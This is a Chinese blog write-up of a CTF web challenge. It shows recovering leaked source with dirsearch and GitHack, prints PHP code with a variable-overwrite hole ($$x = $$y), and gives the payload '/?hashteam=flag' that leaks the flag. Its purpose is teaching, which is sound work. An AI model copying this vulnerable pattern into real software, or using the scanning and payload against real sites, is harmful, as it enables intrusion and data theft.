【极客出发】web3_Mark loves cat

web3_Mark loves cat

原题链接

key:源码泄露+php变量覆盖

 

①这道题改编自BJD2020的同名赛题,网页打开后是这样的👇

表面上就是一个个人简历网站,里面都是关于主人公Mark Stev的介绍......

前端源代码也没有任何问题,页面底下的表单框也不存在SQL或者XSS漏洞......

裂开了,毫无头绪......

 

②无奈只能掏出扫描器扫描发现有源码泄露

关于扫描器,dirsearch、御剑、dirb都行

【CTF工具】网址扫描器dirsearch下载安装与使用(Linux下)

再用GitHack获取源码文件

【CTF工具】GitHack下载安装与使用(linux下)

【CTF工具】GitHack下载安装与使用(windows下)

 

③得到的源码文件如下👇

<?php

include 'flag.php';

$hashteam = "dog";
$is = "cat";
$handsome = 'hashteam';

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($hashteam);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

注意这段代码👇

//漏洞点
foreach($_GET as $x => $y){//相当于GET传参
    $$x = $$y;//如果GET传参hashteam=flag,就相当于$hashteam=$flag
}

如果GET传参hashteam=flag,就相当于$hashteam=$flag,$hashteam就是$flag了

下面正好有输出$hashteam的if语句👇

if(!isset($_GET['flag']) && !isset($_POST['flag'])){//检测POST是否为flag或者get是否为flag
    exit($hashteam);//退出程序并输出$hashteam的数值
}

只要想办法满足这条if语句就行,满足条件也很简单,只要GET和POST都没传参$flag变量就行了

 

④经过代码分析,给出payload👇

/?hashteam=flag

在源代码中找到flag👇

 

 

 

参考博客:https://blog.csdn.net/qq_43801002/article/details/105991295

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Mitch311

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值